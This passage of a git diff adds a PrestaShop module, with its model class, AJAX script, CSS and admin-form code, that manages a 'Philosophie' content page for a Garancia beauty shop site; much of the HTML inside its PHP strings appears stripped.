'.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/devspephilosophie/Philosophie.php b/modules/devspephilosophie/Philosophie.php new file mode 100755 index 0000000..1f31747 --- /dev/null +++ b/modules/devspephilosophie/Philosophie.php @@ -0,0 +1,178 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Philosophie extends ObjectModel +{ + public $titrepage; + public $titrebox1; + public $titrebox2; + public $titrebox3; + public $titrebox4; + public $box1; + public $box2; + public $box3; + public $box4; + public $info1; + public $info2; + public $info3; + public $video; + public $video2; + public $bloctitre; + public $blocdescription; + public $blocurl; + public $blocurltitre; + public $image1; + public $image2; + public $image1legend; + public $image2legend; + + public $active; + public $position; + + + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspephilosophie_slides', + 'primary' => 'id_devspephilosophie_slides', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'titrepage' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'titrebox1' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'titrebox2' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'titrebox3' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'titrebox4' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'info1' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'info2' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'info3' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'bloctitre' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'image1legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'image2legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'blocurltitre' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + + 'box1' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'box2' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'box3' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'box4' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'video' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'video2' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + 'blocdescription' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString'), + + 'blocurl' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'size' => 255), + + 'image1' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 208), + 'image2' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 105), + ) + ); + + public function __construct($id_slide = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_slide, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspephilosophie` (`id_shop`, `id_devspephilosophie_slides`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image1; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + $images = $this->image2; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspephilosophie` + WHERE `id_devspephilosophie_slides` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_slide = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspephilosophie_slides` hss, `'._DB_PREFIX_.'devspephilosophie` hs + WHERE hss.`id_devspephilosophie_slides` = hs.`id_devspephilosophie_slides` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_slide) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_devspephilosophie_slides` as id_slide + FROM `'._DB_PREFIX_.'devspephilosophie_slides` hss + LEFT JOIN `'._DB_PREFIX_.'devspephilosophie` hs ON (hss.`id_devspephilosophie_slides` = hs.`id_devspephilosophie_slides`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_slide = new Philosophie($row['id_slide']); + --$current_slide->position; + $current_slide->update(); + unset($current_slide); + } + + return true; + } + +} diff --git a/modules/devspephilosophie/ajax_devspephilosophie.php b/modules/devspephilosophie/ajax_devspephilosophie.php new file mode 100755 index 0000000..00f9946 --- /dev/null +++ b/modules/devspephilosophie/ajax_devspephilosophie.php @@ -0,0 +1,53 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('homeslider.php'); + +$context = Context::getContext(); +$home_slider = new HomeSlider(); +$slides = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_slider->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateSlidesPosition' && Tools::getValue('slides')) +{ + + $slides = Tools::getValue('slides'); + + foreach ($slides as $position => $id_slide) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'homeslider_slides` SET `position` = '.(int)$position.' + WHERE `id_homeslider_slides` = '.(int)$id_slide + ); + + } + + $home_slider->clearCache(); +} + diff --git a/modules/devspephilosophie/bx_styles.css b/modules/devspephilosophie/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspephilosophie/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspephilosophie/devspephilosophie.php b/modules/devspephilosophie/devspephilosophie.php new file mode 100755 index 0000000..b23605e --- /dev/null +++ b/modules/devspephilosophie/devspephilosophie.php @@ -0,0 +1,1166 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspephilosophie/Philosophie.php'); + +class devspePhilosophie extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspephilosophie'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion de la page Philosophie'); + $this->description = $this->l('Administrer la page Philosophie'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('top') && $this->registerHook('actionShopDataDuplication')) + { + /* Creates tables */ + $res = $this->createTables(); + + /* Adds samples */ + if ($res) + $this->installSamples(); + + return $res; + } + return false; + } + + /** + * Adds samples + */ + private function installSamples() + { + $languages = Language::getLanguages(false); + for ($i = 1; $i <= 1; ++$i) + { + $slide = new Philosophie(); + $slide->position = $i; + $slide->active = 1; + foreach ($languages as $language) + { + $slide->titrepage[$language['id_lang']] = 'Ma philosophie'; + $slide->titrebox1[$language['id_lang']] = 'Ma philosophie'; + $slide->titrebox2[$language['id_lang']] = 'Charte de Garancia'; + $slide->titrebox3[$language['id_lang']] = 'Nos prix et récompenses'; + $slide->titrebox4[$language['id_lang']] = 'Les Interviews de Savéria'; + $slide->box1[$language['id_lang']] = 'Lorem ipsum 1'; + $slide->box2[$language['id_lang']] = 'Lorem ipsum 2'; + $slide->box3[$language['id_lang']] = 'Lorem ipsum 3'; + $slide->box4[$language['id_lang']] = 'Lorem ipsum 4'; + + $slide->info1[$language['id_lang']] = 'Savéria Coste'; + $slide->info2[$language['id_lang']] = 'Docteur en Pharmacie,'; + $slide->info3[$language['id_lang']] = 'Fondatrice du Laboratoire Garancia'; + + $slide->video[$language['id_lang']] = ''; + $slide->video2[$language['id_lang']] = ''; + + $slide->bloctitre[$language['id_lang']] = 'Lorem Ipsum Dolor'; + $slide->blocdescription[$language['id_lang']] = 'Lorem sit amet consectetur adipiscing elit'; + $slide->blocurl[$language['id_lang']] = 'http://garanciabeauty.castor.planet-service.net'; + $slide->blocurltitre[$language['id_lang']] = 'Lorem ipsum sit'; + + + $slide->image1[$language['id_lang']] = 'sample-'.$i.'.jpg'; + $slide->image1legend[$language['id_lang']] = 'sample-'.$i; + + $slide->image2[$language['id_lang']] = 'sample-'.$i.'.jpg'; + $slide->image2legend[$language['id_lang']] = 'sample-'.$i; + } + $slide->add(); + } + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* Slides */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspephilosophie` ( + `id_devspephilosophie_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_devspephilosophie_slides`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspephilosophie_slides` ( + `id_devspephilosophie_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_devspephilosophie_slides`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspephilosophie_slides_lang` ( + `id_devspephilosophie_slides` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + + `titrepage` varchar(255) NOT NULL, + `titrebox1` varchar(255) NOT NULL, + `titrebox2` varchar(255) NOT NULL, + `titrebox3` varchar(255) NOT NULL, + `titrebox4` varchar(255) NOT NULL, + + `box1` text NOT NULL, + `box2` text NOT NULL, + `box3` text NOT NULL, + `box4` text NOT NULL, + + `info1` varchar(255) NOT NULL, + `info2` varchar(255) NOT NULL, + `info3` varchar(255) NOT NULL, + + + `video` text NOT NULL, + `video2` text NOT NULL, + + `bloctitre` varchar(255) NOT NULL, + `blocdescription` text NOT NULL, + `blocurl` varchar(255) NOT NULL, + `blocurltitre` varchar(255) NOT NULL, + + `image1` varchar(255) NOT NULL, + `image1legend` varchar(255) NOT NULL, + `image2` varchar(255) NOT NULL, + `image2legend` varchar(255) NOT NULL, + + + PRIMARY KEY (`id_devspephilosophie_slides`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $slides = $this->getSlides(); + foreach ($slides as $slide) + { + $to_del = new Philosophie($slide['id_slide']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspephilosophie`, `'._DB_PREFIX_.'devspephilosophie_slides`, `'._DB_PREFIX_.'devspephilosophie_slides_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'.

          '; + + /* Validate & process */ + if (Tools::isSubmit('submitSlide') || Tools::isSubmit('delete_id_slide') || + Tools::isSubmit('submitSlider') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayAddForm(); + } + elseif (Tools::isSubmit('addSlide') || (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide')))) + $this->_displayAddForm(); + else + $this->_displayAddForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets Slides */ + $slides = $this->getSlides(true); + + /* Begin fieldset slider */ + + + // $this->_html .= '

          '; + + /* Begin fieldset slides */ + $this->_html .= ' +
          + '.$this->l('Bienvenue sur le module de gestion de la page Philosophie').' + + + '.$this->l('Add Slide').' + + '; + + /* Display notice if there are no slides yet */ + if (!$slides) + $this->_html .= '

          '.$this->l('You have not yet added any slides.').'

          '; + else /* Display slides */ + { + $this->_html .= ' +
          +
            '; + + foreach ($slides as $slide) + { + $this->_html .= ' +
          • + #'.$slide['id_slide'].' '.$slide['title'].' +

            '. + $this->displayStatus($slide['id_slide'], $slide['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + + private function _displayAddForm() + { + // Languages preliminaries + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + $divLangName = 'cpara¤dd'; + + // xml loading + $xml = false; + if (file_exists($this->_xmlFile)) + if (!$xml = @simplexml_load_file($this->_xmlFile)) + $this->_html .= $this->displayError($this->l('Your text is empty.')); + + // TinyMCE + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->_html .= ' + + + + '; + else + { + $this->_html .= ' + + '; + } + + /* Sets Slide : depends if edited or added */ + $slide = null; + if (Tools::isSubmit('id_slide') || $this->slideExists(1)) + $slide = new Philosophie(1); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'iimage1¤iimage2¤image1¤image2¤image1legend¤image2legend¤titrepage¤titrebox1¤titrebox2¤titrebox3¤titrebox4¤box1¤box2¤box3¤box4¤info1¤info2¤info3¤video¤video2¤bloctitre¤blocdescription¤blocurl¤blocurltitre'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Titre de page */ + $this->_html .= ' +

          + '.$this->l('Bienvenue sur le module de gestion de la page Philosophie').''; + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titrepage', true); + $this->_html .= '


          '; + + + /* End Fieldset Titre de page */ + $this->_html .= '


          '; + + /* Fieldset Upload */ + $this->_html .= ' +
          +
          + 1 - '.$this->l('Partie gauche : image et infos').''; + /* Image */ + foreach ($languages as $language) + { + + if ($slide && $slide->image1[$language['id_lang']]){ + $this->_html .= '
          '; + $this->_html .= ''; + $this->_html .= '
          '; + + } + } + $this->_html .= '
          '; + foreach ($languages as $language) + { + + $this->_html .= '
          '; + + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($slide && $slide->image1[$language['id_lang']]) + $this->_html .= ''; + /* Display image */ + $this->_html .= '
          '; + } + $this->_html .= '
          '; + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image1', true); + + /* Alt de l'image */ + $this->_html .= '

          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image1legend', true); + $this->_html .= '


          '; + + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'info1', true); + $this->_html .= '


          '; + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'info2', true); + $this->_html .= '


          '; + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'info3', true); + $this->_html .= '


          '; + + /* End Fieldset Upload */ + $this->_html .= '


          '; + + + + /* Fieldset edit/add */ + $this->_html .= '
          '; + $this->_html .= ' 2 - '.$this->l('Partie Centrale : gestion des textes en accordéons').''; + /* Sets id slide as hidden */ + // if ($slide && Tools::getValue('id_slide')) + // $this->_html .= ''; + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* *** BOX 1 *** */ + /* *** BOX 1 *** */ + /* *** BOX 1 *** */ + /* *** BOX 1 *** */ + + /* BOX 1 : Titre */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titrebox1', true); + $this->_html .= '


          '; + + /* BOX 1 : Description */ + + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'box1', true); + $this->_html .= '

          '; + + /* *** BOX 2 *** */ + /* *** BOX 2 *** */ + /* *** BOX 2 *** */ + /* *** BOX 2 *** */ + + /* BOX 2 : Titre */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titrebox2', true); + $this->_html .= '


          '; + + /* BOX 2 : Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'box2', true); + $this->_html .= '

          '; + + /* *** BOX 3 *** */ + /* *** BOX 3 *** */ + /* *** BOX 3 *** */ + /* *** BOX 3 *** */ + + /* BOX 3 : Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titrebox3', true); + $this->_html .= '


          '; + + + /* BOX 3 : Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'box3', true); + $this->_html .= '

          '; + + /* *** BOX 4 *** */ + /* *** BOX 4 *** */ + /* *** BOX 4 *** */ + /* *** BOX 4 *** */ + + /* BOX 4 : Titre */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'titrebox4', true); + $this->_html .= '


          '; + + /* Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'box4', true); + $this->_html .= '

          '; + + $this->_html .= '


          '; + + + /* *** Fieldset partie droite *** */ + /* *** Fieldset partie droite *** */ + /* *** Fieldset partie droite *** */ + /* *** Fieldset partie droite *** */ + $this->_html .= '
          '; + $this->_html .= ' 3 - '.$this->l('Partie Droite : Gestion de la vidéo').''; + + + /* *** Vidéo *** */ + /* *** Vidéo *** */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'video', true); + $this->_html .= '

          '; + + $this->_html .= '


          '; + + $this->_html .= '
          '; + $this->_html .= ' 4 - '.$this->l('Partie Droite : Gestion du bloc').''; + /* *** Vidéo *** */ + /* *** Vidéo 2 *** */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'video2', true); + $this->_html .= '

          '; + + $this->_html .= '


          '; + + $this->_html .= '
          '; + $this->_html .= ' 4 - '.$this->l('Partie Droite : Gestion du bloc').''; + /* *** Bloc : Titre *** */ + /* *** Bloc : Titre *** */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'bloctitre', true); + $this->_html .= '


          '; + + /* Image */ + foreach ($languages as $language) + { + + if ($slide && $slide->image2[$language['id_lang']]){ + $this->_html .= '
          '; + $this->_html .= ''; + $this->_html .= '
          '; + + } + } + + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= '
          '; + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($slide && $slide->image2[$language['id_lang']]) + $this->_html .= ''; + $this->_html .= '
          '; + } + $this->_html .= '
          '; + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image2', true); + + /* Alt de l'image */ + $this->_html .= '

          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image2legend', true); + $this->_html .= '


          '; + + + /* *** Bloc : Url *** */ + /* *** Bloc : Url *** */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'blocurl', true); + $this->_html .= '


          '; + /* *** Bloc : Url *** */ + /* *** Bloc : Url *** */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'blocurltitre', true); + $this->_html .= '


          '; + + + + + /* *** Bloc : Description *** */ + /* *** Bloc : Description *** */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'blocdescription', true); + $this->_html .= '

          '; + + + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$slide->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$slide->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Required fields').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for Slider configuration */ + if (Tools::isSubmit('submitSlider')) + { + + if (!Validate::isInt(Tools::getValue('devspephilosophie_SPEED')) || !Validate::isInt(Tools::getValue('devspephilosophie_PAUSE')) || + !Validate::isInt(Tools::getValue('devspephilosophie_WIDTH')) || !Validate::isInt(Tools::getValue('devspephilosophie_HEIGHT'))) + $errors[] = $this->l('Invalid values'); + } /* Validation for status */ + elseif (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid slide'); + } + /* Validation for Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_slide')) || (Tools::getValue('active_slide') != 0 && Tools::getValue('active_slide') != 1)) + $errors[] = $this->l('Invalid slide state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid slide position'); + /* If edit : checks id_slide */ + if (Tools::isSubmit('id_slide')) + { + if (!Validate::isInt(Tools::getValue('id_slide')) && !$this->slideExists(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid id_slide'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $_POST['box1_'.$language['id_lang']]=str_replace("http://garanciabeauty.castor.planet-service.net/clients/g/garancia/garancia-beauty.com/public_html","",Tools::getValue('box1_'.$language['id_lang'])); + $_POST['box2_'.$language['id_lang']]=str_replace("http://garanciabeauty.castor.planet-service.net/clients/g/garancia/garancia-beauty.com/public_html","",Tools::getValue('box2_'.$language['id_lang'])); + $_POST['box3_'.$language['id_lang']]=str_replace("http://garanciabeauty.castor.planet-service.net/clients/g/garancia/garancia-beauty.com/public_html","",Tools::getValue('box3_'.$language['id_lang'])); + $_POST['box4_'.$language['id_lang']]=str_replace("http://garanciabeauty.castor.planet-service.net/clients/g/garancia/garancia-beauty.com/public_html","",Tools::getValue('box4_'.$language['id_lang'])); + if (Tools::strlen(Tools::getValue('titrebox1_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Titre de la box 1 trop long.'); + if (Tools::strlen(Tools::getValue('titrebox2_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Titre de la box 2 trop long.'); + if (Tools::strlen(Tools::getValue('titrebox3_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Titre de la box 3 trop long.'); + if (Tools::strlen(Tools::getValue('titrebox4_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Titre de la box 4 trop long.'); + if (Tools::strlen(Tools::getValue('bloctitre_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Le titre du bloc est trop long'); + if (Tools::strlen(Tools::getValue('blocurltitre_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Le texte du bouton est trop long'); + if (Tools::strlen(Tools::getValue('image1legend_'.$language['id_lang'])) > 255) + $errors[] = $this->l('La légende de l\'image 1 est trop longue'); + if (Tools::strlen(Tools::getValue('image2legend_'.$language['id_lang'])) > 255) + $errors[] = $this->l('La légende de l\'image 2 est trop longue'); + if (Tools::strlen(Tools::getValue('titrepage_'.$language['id_lang'])) > 255) + $errors[] = $this->l('Le titre de page est trop long'); + if (Tools::strlen(Tools::getValue('info1_'.$language['id_lang'])) > 255) + $errors[] = $this->l('La ligne d\'info 1 est trop long'); + if (Tools::strlen(Tools::getValue('info2_'.$language['id_lang'])) > 255) + $errors[] = $this->l('La ligne d\'info 2 est trop long'); + if (Tools::strlen(Tools::getValue('info3_'.$language['id_lang'])) > 255) + $errors[] = $this->l('La ligne d\'info 3 est trop long'); + if (Tools::strlen(Tools::getValue('blocurl_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The URL is too long.'); + // if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The description is too long.'); + if (Tools::strlen(Tools::getValue('blocurl_'.$language['id_lang'])) > 0 && !Validate::isUrl(Tools::getValue('blocurl_'.$language['id_lang']))) + $errors[] = $this->l('The URL format is not correct.'); + if (Tools::getValue('image1_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image1_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if (Tools::getValue('image1_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image1_old_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if 